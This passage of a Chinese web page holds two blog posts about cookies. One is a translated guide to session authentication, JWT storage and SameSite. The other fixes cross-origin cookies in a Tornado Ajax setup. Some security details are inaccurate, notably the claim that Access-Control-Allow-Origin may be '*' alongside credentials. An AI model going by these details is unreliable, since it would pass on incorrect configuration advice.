
在这三个会话存储中,Redis 之类应优先于数据库或文件系统。

请注意,基于会话的身份验证与浏览器的会话存储无关。

之所以称为基于会话的会话,是因为用于用户识别的相关数据存在于后端的会话存储中,这与浏览器的会话存储不同。

何时使用基于会话的身份验证

只要能使用就使用它。基于会话的身份验证是一种最简单、安全、直接的网站身份验证形式。默认情况下,它可以在Django等所有流行的web框架上使用。

但是,它的状态特性也是它的主要缺点,特别是当网站是由负载均衡器提供服务时。在这种情况下,像粘贴会话,或者在集中的Redis存储上存储会话这样的技术会有所帮助。

关于 JWT 的说明

JWT是 JSON Web Tokens的缩写,是一种身份验证机制,近年来越来越流行。

JWT 非常适合单页和移动应用程序,但它带来了一系列新挑战。想要针对API进行身份验证的前端应用程序的典型流程如下:

  • 前端将凭证发送到后端
  • 后端检查凭证并发回令牌
  • 前端在每个后续请求上带上该令牌

这种方法带来的主要问题是:为了使用户保持登录状态,我将该令牌存储在前端的哪个地方?

对于前端开发来说,最自然的事情是将令牌保存在localStorage中。由于许多原因,这很糟糕。

localStorage很容易从 JS 代码访问,而且它很容易成为XSS攻击的目标。

为了解决此问题,大多数开发人员都将JWT令牌保存在cookie中,以为HttpOnly和Secure可以保护cookie,至少可以免受XSS攻击。

将 SameSite 设置为 strict 就可以完全保护 JWT免受CSRF攻击

设置为SameSite=Strict的新SameSite属性还将保护你的“熟化” JWT免受CSRF攻击。但是,由于SameSite=Strict不会在跨域请求上发送cookie,因此,这也完全使JWT的用例无效。

那SameSite=Lax呢?此模式允许使用安全的HTTP方法(即GET,HEAD,OPTIONS和TRACE)将 cookie发送回去。POST 请求不会以任何一种方式传输 cookie。

实际上,将JWT标记存储在cookie或localStorage中都不是好主意。

如果你确实要使用JWT而不是坚持使用基于会话的身份验证并扩展会话存储,则可能要使用带有刷新令牌的JWT来保持用户登录。

总结

自1994年以来,HTTP cookie一直存在,它们无处不在。

Cookies是简单的文本字符串,但可以通过Domain和Path对其权限进行控制,具有Secure的Cookie,只能通过 HTTP S进行传输,而可以使用 HttpOnly从 JS隐藏。

但是,对于所有预期的用途,cookie都可能使用户暴露于攻击和漏洞之中。

浏览器的供应商和Internet工程任务组(Internet Engineering Task Force)年复一年地致力于提高cookie的安全性,最近的一步是SameSite。

那么,什么才算是比较安全cookie?,如下几点:

  • 仅使用 HTTPS
  • 尽可能带有 HttpOnly 属性
  • 正确的SameSite配置
  • 不携带敏感数据

人才们的 【三连】 就是小智不断分享的最大动力,如果本篇博客有任何错误和建议,欢迎人才们留言,最后,谢谢大家的观看。


作者:valentinog 译者:前端小智 来源:valentinog

原文:https://gizmodo.com/the-complete-guide-to-cookies-and-all-the-stuff-w-1794247382

近在写一个点赞功能的页面,采用Ajax异步加载点赞数量,可是调用成功,但是浏览器端不显示cookie信息,这让小编整整弄了三四个小时,最后得知是Ajax的跨域问题,神坑啊~~~~~~~~

首先看一下后端代码,用Tornado框架写的,继承web.py里面的方法,首先先看一下源代码:

def get_cookie(self, name, default=None):
 """Gets the value of the cookie with the given name, else default."""
def set_cookie(self, name, value, domain=None, expires=None, path="/",
 expires_days=None, **kwargs):
 """Sets the given cookie name/value with the given options.
 Additional keyword arguments are set on the Cookie.Morsel
 directly.
 See http://docs.python.org/library/cookie.html#morsel-objects
 for available attributes.
 """
def get_secure_cookie(self, name, value=None, max_age_days=31,
 min_version=None):
 """Returns the given signed cookie if it validates, or None.
 The decoded cookie value is returned as a byte string (unlike
 `get_cookie`).
 .. versionchanged:: 3.2.1
 Added the ``min_version`` argument. Introduced cookie version 2;
 both versions 1 and 2 are accepted by default.
 """
def set_secure_cookie(self, name, value, expires_days=30, version=None,
 **kwargs):
 """Signs and timestamps a cookie so it cannot be forged.
 You must specify the ``cookie_secret`` setting in your Application
 to use this method. It should be a long, random sequence of bytes
 to be used as the HMAC secret for the signature.
 To read a cookie set with this method, use `get_secure_cookie()`.
 Note that the ``expires_days`` parameter sets the lifetime of the
 cookie in the browser, but is independent of the ``max_age_days``
 parameter to `get_secure_cookie`.
 Secure cookies may contain arbitrary byte values, not just unicode
 strings (unlike regular cookies)
 .. versionchanged:: 3.2.1
 Added the ``version`` argument. Introduced cookie version 2
 and made it the default.
 """

详细的实现过程可以看一下源代码的逻辑,这里只简单说一下set_cookie/set_secure_cookie两个方法,主要区别就是value经过 create_signed_value的处理。set_secure_cookie能够防止用户的cookie被伪造。

create_signed_value,得到当前时间,将要存的value base64编码,通过_cookie_signature将 加上name,这三个值加密生成签名。然后将签名,value的base64编码,时间戳用|连接,作为cookie的值。

_cookie_signature,就是根据settings里边的 保密的密钥生成签名返回。

get_secure_cookie,用|分割cookie的value,通过name,原value的base64的编码,时间戳得到签名,验证签名是否正确,正确返回,还多了一个过期时间的判断

如果别人想伪造用户的cookie,必须要知道密钥,才能生成正确的签名,不然通过 get_secure_cookie获取value的时候,不会通过验证,然后就不会返回伪造的cookie值。

好了,介绍完就该踩坑了~~~~

set_cookie后浏览器不显示cookie信息,咋回事这是.......

Ajax也没什么问题啊,好了好了,不卖关子了,哈哈上方法:

Ajax请求

crossDomain: true,//请求偏向外域
xhrFields: {withCredentials: true},//一定要加上这两个请求头

后端代码

self.set_header(name="Access-Control-Allow-Origin", value="http://localhost:63342")
self.set_header(name="Access-Control-Allow-Credentials", value="true")

这里面的Value就是你前端页面的请求地址,也可以设置为*,所有请求地址都可以访问.

好啦,可以啦,哦啦啦...........